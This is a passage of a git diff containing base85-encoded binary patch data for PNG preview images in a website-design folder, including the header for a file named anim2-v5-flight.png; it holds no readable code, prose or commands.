z>F?)xf#JHF6ciaby}y@$7ELS}hHGrMOel$77JfTwyqJL1_LGa;1m7!SHH?s*8j>am zHW7z6d9)m)nCG3cW4@Mv#CcC~6U}(!O-$Qttq|(54R3gDSyq0Yxk&VNwmX+3%2?N0 z&7uBaKTg2mu2&qMZ0LpJbm1FA+C_T-(;-dM;&^Ii1W>CWBJw8beZ9H#h(yj#M?pUQ z(=D}AMDy2Bw-c5Qxa;nsqR6-%AN!w}M)nRt-ek@?gA4ioz*@}vg9CQd%eZ4ZCo(!YY0Qyxww}$5 zl5M`>jlT5rCk7f?*AY?jAvUlp+&3x;OgdHoaara<(W(G*lsto{rLZ%GsQWD%^Sqjw zG;{642E@ygE6n~{$J)h0B?!}5$N+@j(kYZnDiIOV)GeBlhXZrmdNkJKA;l)kN40)& z(yf8ZJ3ftuMb*$!-j}fbx@p>{8s@nj5U+1mv%z?n;2!I!@e}h8^D~QF8wa#C@*Q;1U>tZZoocv*`h-@C2t!hUcQ!M)(CQuTnY$pl zVxJwkL-FwoSfh{iu7tMWdX!W7v3USHI7ePIY(SHeYO`jLQN}6-SJ@B86Gj*N|Hot~ zsI=AYxxSKxl+0J$oKl%4Y*qoasbqcM9a*6~vqSqm!B~6el+=Dl6P3s(qhEd#Jz4Lz zmq;!}Z46T+(MT{Y|HeqwAP<`)_i}x>StL5M_m;30&OqEUwbA2NBAI8r&5Jr0-Xsoh z7yH5Osm5+}m6K{}G&vd}f?R-c8I6-^ zCd2kr4)@P0Zz2RJUfJUpoW%r7_Q$4ES2K*nWpYXIzy=7H{5UrBV++t8fNB2pY-rC8 z=N@pVGj<-$X-MqY&l-ob`@djUBFTKi*-|0p61xV_&cUNI_?9T-u)hjXFJ*BrP{m;i(t54Ah`va#LF&+ z6%ba#``kAGxdF<;ZwJ;68WJltM!&SLp=1qTaSFPHX;FmlZRWVA5r!#3bQP)C(} zc9>7cQDftt-V8F;{)5y@Le+n|8RvQ|Z-+5G7Qga+L>ebF-OSXN^2lyzytHxM+7~i-OK#sS;S_t)lQ$Axg}&t+36$?18!ipi67bObwUt;dYfg^CChA z400KKTo#@;Tqt(fu%)Z6%eNog8|$DU$CV-_&dTm)$SiHb6?EuO_2d=h#rkZ1c_+^d zd9-leGbyd7sf#8k9bHQzcfalnO#7IG6pPge6fx=~W+fx4F|8mG2Z`QyF_CM=0)VHaXQjE(7H?jEHDq6cuC+ znj_~22B%23G*J~>OYg9^#AOLA7=2a^Ow!$ww`&3EV4VVQnM1RNymV)6o{9EjR<s=F1--(R^I0;{w9i;47TmY6NF*<2u?IQ8^P;-Xi@4((!p047) z_58yhzkDowd1q~ z&K>majVWqA4B5tZr8?pvSfL^W7b1o?z*Tyb{`#8yHqX8g0)kcxQXDP@4{apZhz@Zf zr=$P)SoiP^X5v#GY7$9a>o1+82n`2S6~!VG%K%}|(CI6leq^_C!PYGNm&q<11$X@MSHpKW`Q z8jcGWR>a+xT02{`i9XVstyBagXi;LM0euY^C|~?~rrcJLuzdR1ep}{;ZUf?8=;J-R zPyQdMDo8U)BfMOft%^;CtE!^=!1lBNIFg+sg6-?@3&Gfk-C&mNhhNtRN+Fg`7rn* zP?J?YWqL*>sHN~{G7yv(UO03wy*%0gs{}?_b@8UM6Ecj7+WjO6zlS8t*{~zUW+JHM zq+0s9qkiE!dBRkEt#;9F!za%aj+F_Qg+7+*3d#Mloc8A z6EF@2a*JxZ{3m-F-h?0Sru#okfhF9&IqsLn5v8x5oy&FTt<%=%6-szfi|d4qa+iFIv=kCVS`_@Q6Xc@apz?6s@xr& z#fZDZH+NFqAQntN`l*<_HW#sp)vm+fu<&rAm)KW(Asoa6qodYrpLqP{*-v|C-nw=%*rUjywLB&s8<$ZU4~?;z+}><%c5(vnB_;T50Sp zaZc!(lIpn1s_L9v+)+g9BeREGg+^EG>@7%3;?{4Exo-nWRY@rvE>vVt-OqI#jDuy;AlD|Uq8 zO;*ZY-*Srg=WWORAYDlSV4m3aZHt`~fv!4!(?E~$=WvM~A^gK1krsH|JB){;{QUEY z;u`tq(m@*z16b=T855X(og+kukAsxg>W_)Nx&7#h?5JE1ESh2@H7YR=D>uTUP&Zoa z0;9Z^Wa7Mx{440F&zs{U*;!VdJi%4?AR_1H&SU^pRcQS{{ zW;wIe2+R0IJX#pWA_-16>j3|f0LV6CxGYy`){8z0CRdr_i(Wvg7d5+f_Hv|mi5C&O z6^Xd53%%3;BL-3;`zKd5s_$~%E)%{Ky>E$_VH9_ezxIUupi3zaPBN>JHo1NjoOzLV zFoS0nvHNWk#b$U&#hyGFTF_KSbG7)}@j;dFHM2z;4>%nX@df z_@d-xs(Yl2y71)EGkb~yT>z!mqz$cn#0>nL3I6VFd-!d31MHpv1yahnaAh-Z4gkIU zeOnCPdcXO*b3~n_z14$j23aGmVkULFC8@1`eDG;0e6oJ=&aCl^y5E~j=z;?6fP?pU zScAGZ#)t|iCM*3nnG5sdTkSAABjNu5L@m$dw&BIsN;0>4eTy+clH;V?j z%{;6uN{kqrMnHI^(!tXFOguo_tAL1))V+a|jsV@n(%>Q-YkzLN7c5HiSg4+j2M*Fw z>~9fZ%cB^>5eujzpT5>7pWh4EqNxfGq@-#pk^ubn(#)x}_kVB$>lbxyLaN3XRg|D( zHDj1l@(+7BZzyP{2j@l3*3^ArDd|jpv8%EDUx*bYQRUQex&k>pu$w_86(h8m`UEz% z;^ktb@3$Q`mP#1+^4^KQAlH+Zeqe9C$pITsktljy@)dg!&lKpxCR?@sp8-+j#m91gRwg|9b_hvarlRG|5rs=ELCRh@ z^}=l-JLvd57x?bcU9*&!!El|&QlU7LNr^Gd-M)&TU$sD2_Cjq2PyJE+J?^r08A)+9 zq!5*h(%5lLqxj~<$%*K#0s@x@K(_YfI1nvh0sRfw%tBLy|K`xdlbm&~Q7hM5IdmVz zzy9&_Uyi>Aj98OR>lk&oLCy5-O@-$~w=Vv9Qw{J<85^a&ZHXP1Nh_D(z7D?0j4i#X zT$9L~{g8xwOv^h9+!&G+?8WZnw4guwt7E-8tIpkCLx{*wD4P|y;(c3i75givNRm94 z5en8|3Q9kCiEx_yH-O>>P=Vk3`c0H78nUZHU?>&z<2NCDGAK-2~ zA~2TtT6!rV?dt!q;7CBx03Lw23>C1@?(GE`H85_|Rac7b^v9ZS2Md#u3HLo}Td1@u6sFjMg)yLO_ zj)F+?T<#z4NvX&O{D_f%1Z9^Pqx$&v-T|G4oc4df^6ItsXT*u-#o7->U37ihwx@>(9F>z{!BsG#Znst=)F#&_1)yRhe-CxXhrenws4eQF%J`9?YzXAIvI*J9D%i zB8lJeey15@fX{FLtPeOs4tM~Z+&cej6Fa>Eu(B2j7l3D z-q!F>+Y7u!)`}A_7FFvaciOv9;UdbtyOHYeS2M9@Z=OphNowd|tC2O0WYvC8AY&8K ze$7*97gjB5ETrVjL3=O0e=1UbwBRc+JSUWzC?X_~n{f_!*32z50%y-iNxfNLpg9}o zu^vf#CS#(~ZX^Gjz@w}m#M^D6Xy&EmJwDOqRcb$D>fN@j`%``u*9+FlxAY5EuP_Ir zAkxeUV!mjiCaJKH3%fQ=c2R89%QjJfa8yg{ocl=5#@0MX?GrqPrE9hR|JwV`sHW1c z?HL_GMZ^XSB4Pss#f&h3bOjZV4gyl6^cF&|AsIwP0qMO3lwJa%8Ul%k)X-ai0HJpX zJ*2;JzV(&A-_Q45&-r!!oU_*1=ib-e``XvNZ-T9?jBG<7q${5pAFCt8JZ?PcChfC? z^UT!O(rrG+htKW?rd`2Ote)uF)hse+#)SI>K%)|zlp&7>7VW!$K%2@#)rvx-RzfMY zupf(bILaLtTaGnUn2jaGV7+Ifw?oU9kzO%p?X9eiSI4V_p;h{H{&t>EXLp7JZpsdj zoVeO0EJ}t)hP;P&pp;}8T}gj%jf01gyILF(9^iQQd7Sz~SrsJ_rMnHKjsgB&e(H%d zDI+zd5aY&Zn#R-jJ=ZU7^k5m=+vU}+E2-X^a17M;U9Sem1TjlWhli_d9fNc&@=3=| zE0|oWnYa_B8?vn|FQb|bUnbdw+RmiWY>4yBv4+@dJ3Av6aXi@!3LU9W6SnkP&FX0W z^TMT_`K{qTn{w((wE$03o#fZzrd}0^?vJY%%FLNB^`|OsbK3Kn+|9nV6i&Sqg_;@W z=_*be*yk_v6<%MFR295#c1sXzKk^+WtVHWAX-$c_wo0v->dp}P%cM{Le{%tq?gqbp z&cl}%2LjF<>{4fXM#$1W0rtFI|CsPN=qNdPZXUne!EW~4FGcvkM%_63Q}D7%DqtO( zXIt@H{KQ75J~LAfJhsmF;QJfH7JZPiC^O!Ly^+fjLu;8Ss)QdLjM+tSbwkmC^bi4* zgWsXt`3=^w_>H>IczXg?gmylP{8B zW*(~R{bPkVRSGaQ#qZ#)U9&w&<2OwXKZAvofzt!`>)uV|D^)v^hw-|QH~n27#=j7xi<#1EpwTGVm{TpyIWk!=<48f6U?MHH$xQwlISm` z0}fg!cNQ$F{n@Ew=voDc%JGwf!tkE^MwZ^2Y+hr4-P4tBtS`?o3XbDbqEbiiFRZ}; znc{ZacpiAb1HR1-#?Hvx&=#eepm?4)$wR?%XY+Gn;_bINlfhR0Q-1H&f1Ct<15IMd za0(6)jUMJ;F~&-GDkkd0ipCcna8iO}KXGe+I-MgmYt*{fw0oy~Lu$%zjz<;y zeGNDnU=ah!$AXOl4btENFYM!d4Lz9;zC+YUcCwXCqlD!S-m)c?@xhue~@lUoUhF+9_pmn<+ z-$89s{D7~Hf8_LFN%EtEnT6!2q)WCFWrF?I$K%=bb}>(72f8EIHhHH@cxXJ zYC8Og)~g|$u3`&>cCnzfMDs72yEoM7?_Lu!E>GCi2{z`JqU1oGZ5bSBTP%3$f|lv^ z-co1f*@oypcb4OQ_H3kFu|5=0ffg98dAjm`_Dz{&U%~u(b6M|MGcleDSLdY5@qEIf z*d-IeK0Zx5C#VtKM^UfIe>LlGr~G(t;-KI@ieP?PdjaHY&z#ygD25O2IuhkJtTGu-;Zgkm568md-<=|!joG@*S3Q$q#PZs^!;zs->_yuXoEp7MdD7 z$aL$#abc0J5nt+0+XiF-d~N#s?@AB@3ui5dH6SYt<)P}hrw`QRWaYFsZuInPOrFIy zIySwN`W_lM`B5194Ja(9za}hFxehUgA0PiSat1slLyH1?WXe2R=8tM`gqmTJ8fYub zVa`2(=m*(o{f~jPSEeij7$XwhFna0oDq6B^px;#z;dQ{7j~EX;QhQ!h5S1k2jihJ! z`^31H`o5-zHcd+Ila<9-^@_$+39wKXbuepC>QT!4oIy()v*mXufayB!&WArVm+b1& zK0N#IN3i194gTe45gHsDK#ZHeueE(S{L;lm5K=R<_*)^9h;v*;jhu_s6P$C9;y1-l zD|%GD6fb%qLDCW&0dy7u3cUfZY2e z0;Y18NEJ+6y0y*pHeV%o5!WJ_t3fY0L0vEG%i%SScT|=KZV;>^z{Z<#@?_z1Wpj-k z%w}y*(doM6-NaIvpLq0in6;mhHs8O3G94Hz7WU2q&-(%&Y4F(1biZivL8kM0Xsbz294MRL=12uXOOFE8I|clBuYuAiFsl z?$qA?9>xl9rrPS;NY4;)MuWk)*eiksGKX6;&aVS!JsJeTUrs_C{)SCQZ76{ht!i^yh?6oF~;zcw8NX1%KHr)O}8`6jHfow&6fge9i;0U-w*V+{8%+d6BxT z<=ggXZG^&R=;9Pj0EHQoO-$Ixu&`Pwh>ku}QS7E1GZ#w#65~A_+ z6#GU?tLl(`O1?_PbU(6nWl={fTl)TsisyIY;~Bjy>QmPouiZJ?ek2S{3A9dB7=S^h z!_0Vcntgg62Z@RQmBI*F*!p^DDOx-4(9m(a9RT#{cgtLO>mHO`S1sQ^702w@>L~bR zKe&B2u{Tj@g!Ezv=`7PfjMq=H?Ga$ww$4qBNwwl^uU-|%`t$0n15)$$m+7!+e~f_* zt5yE%+t8+bNVAL#5;2JE$#w}pvgg;f>t49RCZqnX)(-salf>06QTd^S&Y!#yeWBh8 z*u+a}ad|83kQG0;HSH4Kmudo%H(RBrOxRN=e$;m0w^C&~lbOaMCaRWkq9=Fxk8OG0w{$`x<5* z=xSU0<+J%xB>D>PGZ{ab&mX|wuuy00`!25*%#2j22iZHbVR9+Zizx2WsmXhj^zE?4 zt>8z{()V4oVb2;p{otgV3*eEM2oB2dWwZq7FFwLky4Fs}UmP-u zQ@A*iVH%T%YAZyv{*tR@5|9i%T45y zdQLNs)Z0~Z4NsxkYxAQ=S}y=Z73+gQ!-@VeVb_KtquSNWl?DG$hCir~Tsker3X~w`Rh)Zf9kUQSS8|QH?*IQE5=O;C1ToDfL??Xq+@* zlqYgpu*-(Em$92j)4-(0-;)`_9>M*g8yR`Kq-*_?zDIA_CD%Z6UgSTRn99*$-52z! z7B4qFdz`0yP5yjq&r~1RnVK&8Kfw*5%OC0kZb=Fx|0%o*H?jFzoG8+Ls3F09mP_aK zUO$^5@<0mT^PPI)%czpQmt;sfD*vKazq0^%5T~0UV?~=+5Vy1W=I3ga+v}HJfRpP! zbxi8fOm@iU&ja4(Io!t>nB3zI)6694-lobI9j)g-<#0+hv93oPPp5p{QxyG9Di9gA zA3^As4aA2|1tV5l4w5*nb9SlyBGMVW8sNEfP)By^N`XY@SWLA0To1OXG6FEI(mQfQ zsqvm;fzeWIgluB!Fne2R*ifa7ypq;}$TX=N>pX-QdH%!}GB*Hrja@`EEv+GzG8d_g z(vX!##8$teer*T_q?5Z9B5k~6bx+8rylQhWARyGmsCx4oM$4h@b6IRzz+Fm^IY!Cl zh#kRMW>M{oz-cB)SD3Pr4Sz)As4i*9KVOxh1Dj6XB`X&#er6|I7OuXlsiJq}WE!0J z@4Z9_W!!L>VJ9`eJm)%>$sY$Ukct$+4`Nd?!2>J=0d^PbyN^;6_=pqP?*qFwdOgLq zyb05IkR+c-!Zc_gs#TTzj^#|ZMuaaaipsjL6^Cu;Ep`1vWqPSwSZsPfv_VYWd#?HU zeEjYKd2HKyZ@rzp!$EF4qe8zm+5cStL3=aV0!ntv%t=#q)Yn@Z{1L?t`c2SPE0D3V z3y9Iy$RU7R=il?AH&;l#1qS`SVJ65EaIifzQDxEN7E^Z812x2&>!MGD+gX*JexqSJ zhl)xbx=`%qo?y5K1gFz$xH$zgMm~)uEWUj7;^PeDESDIgdzkd^)1dCb#*#0 z{YjQa#zfV>AJ1$@EhNHU!3-X(ka>1f-v{_wIs5(W+q9K87{2^fE=w|Q{aN22fG>u& z9}{g>XMPV69erLm@?5YBsifqSA&;JpR^;h~=V85Ny-F8c-018?!+N5P`Yv&LqK!~} z76zMs7hy^&9gRftA7v%IU7=VOCb8Y8-PiZ6((+W%3~Z(kK;&h)jTs=N933SYvHPtpBA67^q{%QPOojn1(7blRM4ip&V7@E7RDTboL%(}*^TbC#qn(-8tV z<2o>4_H|2}-i&oSk(eoO^qitt6PfSYC@V6<(94|92zIHb2k*WkRZgRgGylpqd7vdC@aaICp}x{Zat!eLYYplysn@K(=2aFz2bOM zjWG=_{Kctx89aMTZ0pAnGI&l1$5I`i>95&g-Jk_<^2g?e_-y36h_$RYfkxyh%e9-*wgBVXn z?uVfa>M5;V@82=gPI8^ysnOR0tABc3eyQWed-Jw;ralde8rtwYzsn`D(FZI~aO~9D zx~QWHOyd)p6$_tz-?fXWfDhbXg=gT;l*KynoaR1e7uZz$`HGdZ@TrkPubbg(mH9=Q z4NtFLA@uQc)T^|t=@axd6Ia>@MU2_-<_&%RkF37vi>xWq@v)M*C8P>#6^$=ae>d5b z8vQ~EPkji&PC)*yY*HBM*En0_R1YsM1y91wsQaf}Hv0LT;jxCsri9mKI){@BKy^kF zR@yFqq3R&&n7L_a6jDnwke5G>VlwBd2g6lVZ)%+{xguRX(MOpY3Q+LR+nf**)4P&F zsLScvi0C(~=R3K^xD{0k4;w`0!B9cn>kH$Ka%=iggUH6bIwdc zi*rZvLsQ;==?!NMP7T5c$>QuebgAZ6yKEXDJhW*>Wo)kZW%U~s$EXwF&~i5Q_rGQb zvLn>xTy}(tI>)zE>WS`0q^Q|0OuUs`0r(zFjN+bi(^p^SjGU3Gh8(qbv15IukP@2u zR1du|a4*)eE+j8Hr(ni2*y#bjR5)GMb}UzXo8(tmySLQ5K0*NAzb5DN`rr*HXM4!- z;$oxi}e>j0pUsqMH@U4*6oPUz$0lwj0VT? zi<05Rql!M?023SxbwO804~7YAnJV+pkT?G^Y2Dr4O^~ z>25c{5AQfZ3LA4J7$bWorO;RWW`3ap3~9lpq*ss9PN-dGiwmUKOdIM8;3P1Snv|2< zrz+{88JHWL(r;6KP-oF0_D)`S^-gmP8+rY#F)iY<1O3Ym^2Y254$*In;4s%wxc}A5 zvt|Y+Wf0kOQD@KZ?RMXN5HQoW`1Ao1_f4s+=i#H2C$Kbl>^|E2LKdFs#2qsMIZ|7J z7jMOEE>zsUOjHTRlyCvg?d-ZbyKX~{n#%ur`1b(8wNIj~^zd(*)sZs<@~!6m($hX~ z)&)y1zh;$FYOV>vsd5RyS~Jc0hw&JOI=xwP*?6+orCN=#e_V|#Rr3G-i*yqFKLql> z%@{V5{Kx+%lYIB4VawpjTW!%5 zeyQQ6zvrfd*)N%5Gmi@T>f`j#j&o6M)iB1BhaC-0fmV*)pA)YNUagV#Zj0#n&}$>h z7#~{@s_+a9e$kV=ie=5huVV$_*BW+w_WOi!dRUKnB&dTkdQ~;BC)W(N+vpP}(4em? zAh$RQY&JKvniHI*y=S5ElnQmh^I)h?2%5JrTK_86d9#mv6bwO|;|fWX?=V(JM3xrS z?{c3|mqefBAU5f&>(7z7K9UF2EmLwpmX$M+j@CyZidX~h7I)RNfZNR1upmRqyJs#Y z{AGAn$k$)=f9M%D4YYB5irRe~*j8!QhYl(1vJalclhIHzg%yM>L5g^2>Zln_<>_kV z|JJE$9Vg|bX>DS?_|M(Y^z|qc-h$-n=t^v5PL@ibf9LoU=~NwDU#AyBg7orLfH&Z^?3`YQE$7ED!oy2^!k(r62*Wjax*Q|lx9_~q&HHcIL7sn}fKLM;I zK~rHsiOGSPNCEfc;mpjFuN>oBNAdx^Bdt;V-TqiCejc=z&-nL~&;I&k9jwC(2Q3F5 zJL6aGY3GPsHBkpjD&ijWx5&?jx>8fvt$0C)D=N0#RbE^}_K#J)Cr_7E;(LL>`%&gi z&t;2<&sNQm42?d{f3>C* zotY{Mz;1`Rxj%tcC-f_Or9y(-SI!9h450*8K!W|&Yv&xEIec}BDMu8GOMbgcOa}dx zDMWta;Iz!34D$bs&Qfq+mrMjg>7yClld_71yrLJ+T;we%Cfv48t#Uz z{flhR{4|~3paM}hH$;^y$w}+O2IcD5GdNeD@IFh9oPH2;CFcTW!@3UVbuQ*pm|X>XQ`@>P&3Pbutwd{9hl$1O&jxlP3%av%>b7-ouM2jS0adRz*f?V=St`XqGC*vtf&WhntDe^8ck>&fJ8$zI8=7%flx+!1+# z=~e=>^;^(a-b5F&g&*NW>&a}HXaf^d#+{xgS$^Ss%D0lz`HG0cZ;aPpUWs);VL7A>Ox8_3o3>A-C5ljwgh{1D5=5kNi2u$d~Gp zPY-a{_%Pw#tr8#7!Q&Atcq#EwH4DSTvsxB>l($keos|=JjkRn{>I^>k+;D0#(x(oc zW>Ln)UL&hqzY^qUA7;VIb*{{2p94UIzJUL1VrygN-HP(2S0W3Wp~8xYF>T`GgL)0{ zrRf@fVE1vpB_@cm2W)mhrm=TWTbt32q)E_Se)5BFV7>W|ziZTA13U_7p;Um%{3lL~ zt_==7_nZm0->rTD+8HIn3|V^<8cb0OGjl~s)V`TAZH5X1XN8b;Q0u@@q(t!R9=0cD zspb@bwhShiFvdaMdvY&(nnh_vNdP9QMl@dby?d24+Mxu6?7|aC$9+9FT~0cX^85c< zWO0xn0kQigPUqpu$o>3%+*d*jfJ%p0{Ko^Mnw@3 z#VR8IJQtmEHFtXCgo{BrWO-VIh$%tlxwN`vDq*rA8x^YMV~pap)&-7^icqiYFZCMN zHsDpx?w*03AcySeWie~T?MXlnj3IZAAL60MOg|ACxsQoGe~rEvry} zB1-C8fM|r=b?(pS2Q4`xgZuSi6p&Q<0l)#mnrg7Q`zWMk9mMAEeXUK@yr&J- zlIf#ACGr(SZm4Of?Q}aNI<)cn)g3nC#iY}EmLK|PkQknD%uXb+X^Y<-&EhAIB#ky5 zj<~M8IJl&?!*dk1Ej&k;1pU4uWl8k!>4A~}!p9UE?@IDDLXM&7tDLw?*p+YwBGdkG z@2VoKCpCvYRR^@lb%y8N6zR=1Jn0Z{aH?=BY33FF(P5!h0DZ?_{=768E=xlQIGuka znyXFxiqTU(A2t_8R)I#8i#_!F=U3=xzQPvyNysdXQtvndgge4NxJtOy=qC0Q3^EArAavNCj~E3~Mg ze9F+=Xrc~esH#S=MP3`vow1P#?D>8ss@?ql@?@!kKyE+UX)HztU2x9Rnz@LP&a@$} z)A#nV-#S9G?Up}#uzNF;%YDLA*RNfK%s~dZftF2fTRGXJ?K%s|-{1W1L&`AE05{D!g|UZHQfp7rK(qTZ&`&594`>y}sfE(b$aK8^Nc#7KgQcO9vc zYh-1w70e;092V2dc)!3GEg&6Y|5)?!Gp%Q6F!y!&+0GO@GLw`|aXQOnhNn7!*kM-k zc*;r`2-gL>Pm>43S}kKz`IBkmkn4ea%r9BNUAd4^{M*4BwJ&cg zY*K7Nk)DC>X`=+A4A|h|SYb@ur5`xl`hAJT;HIXkl5o`Td4o5r^Qk&wQ7!|;VMRx9 zFDQ<0b%lS{ECIOQ*wp5lBB55VfuJfniLPpD{IEA$fo%XeG)~q1O*niWQ7)nMp!`d1 zx8D!-r;xP9$1Vlai1D`|-nP`U=fJ?a-5~?~Y$G%G;|;vSNW;f-{_rPrr*#WwKjt>B zHwLG!O&c<9Gt}J?!iJo`R`&lDy3~}hfA0S@4b1Vba~1oL!RB9Q3jRmr^Gl1xzWyVC z`j0s5KhE&q#Tl5wzx~Eym2(k1*sja*3&>9X229evtSM4c_{*EMp6NYBsJ(vsUjh;Z Al>h($ literal 0 HcmV?d00001 diff --git a/website-design/previews/anim2-v5-flight.png b/website-design/previews/anim2-v5-flight.png new file mode 100644 index 0000000000000000000000000000000000000000..8216173a675e385520d93ea93606f972dfcf8d8e GIT binary patch literal 62385 zcmbTe2UL@1`#)}9--?PzEh3_fIsjz~5!p#wMFa#yL`0UzR8}NFfP|zfLq$PAnSoT< z8$m{ZBo&YiVaX;jtgyolNeKBpwDm10{ht5%=Xefa;LiQr_jP@)&o!T3Gt}YRe{BD* zUAy>nuUxvmYu8@+UAw*q@BI((KcH2p@UC4y?9#pT%MD-5%n;8V5t{8d$9&g+fBxp9PNor(IEKdRvBBVDs^;f1chJ+n&w zu;<>+m6%_Bqi1Ua&)n z$3T7#uPUy;mAbd{Wvr&Y{uE`B=_k5x_``T)^KX}~ z^tJE%X0Ky!nz!D4itGX16s2l`IJKPWiNNj40ILEkty>kYuvb@9qnO*uf@o@vhXNxT0p2)|_Jo-m8 z;`}laEd|?S?7!Rjh*ugc4;hQ6f2B=-=@t(qVcSxn&R<=iR-5IaFSonv;vYY6dmF_6 zkT?I?75UdMzmhEnbFo59oXp!ZGG9xbgLzo9;6GZXt7&$r{Bx4Q*9RoqbTP(i%kNz= zR|lPrc*eq^qjnVfJKKc*ZreLBWC~dyB$UBD_o5}U}R4p z?6SM*@{OpCeQ?|g!I4DilP&+~db8%JkLi|M;aCeA`zlE7boQ(s@-{JvJR|nDetloE zzz*sXzfHV}U+L+KZSPV6K zpV9lDEdajZ$8X)mlWq0}_hj3lj6b{ckNAwAEPwA=Qv(h^o$@d86BEe&$bUqAs&ite zUm!*UBJo8&e}D2yyHD|1GrHs6w-@)OnX~VDF{tjo(Nfzd3MmTW(pXef-%s<^cDk z&vd)J6Keej-Ots$3i|FTFYVyF z^18E;IXeQ=1Q>35N$K*|OVv!7OWJ0C{pyD(rib@s8hM zx`W?K-1|cRyXy|WswaTL|AqMU{a@5_b}IrldNN$4y{P{Nmx%uhF1@&B+9{q*JDp<> zf7+(3#v-02E>i2B5)PFw}wG{p!T)O{|`p>hEe^xie8AM7`32BCkNm( zuN|civIZtdpA=5s^3aZA_y3L3?gTgrcd=NRx9OcbfBa`axVPO>VzXexORt@jk|*{b zul&xLqj$Dl=lC1w2h&4&ha$eVIDQ#0fOmdTnOzsJnoEPE|K|x_I~<8S*|B?&sQWK? zf;;&Qt&+dH&Ar*~+9y_AuTnnw&Gz~I0O$FCF@-xBlZ1bw7kBE<>N{W>1LD3h`{rU* zmbZ7xN|_LXly8F29Ab2H+dJ?g*Slx51dNU^h$eH~k9Z4rF%hR(B9L7zospJZ8I z_y%bTHUEp_{$rqb1qT-1sBI|QYNVHb82E~KentFJPkoVy-|j{L64%Da+P9;^|FZIx z!mBI$4|m*f_dPlJwWI+-De0J-l4jcLPT=%!43E%N!_5o$pX415DfCiO-v$)_{WrDx z_MB^gbN=!KfW7XRYHy;cN0r{Lo@Ya^XWnqP+zQ)%&Q?&OQP+HeqmX3BOZFVI{vrWov-N!B+F+x{dmFrx(XlCVdij z|JNOH4H|HNxkh54?9yucfBydvRlt<)v~TShM2ld=PB6AzT$S{K6rcY7yy9OBH@l

2V|OFQLs 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 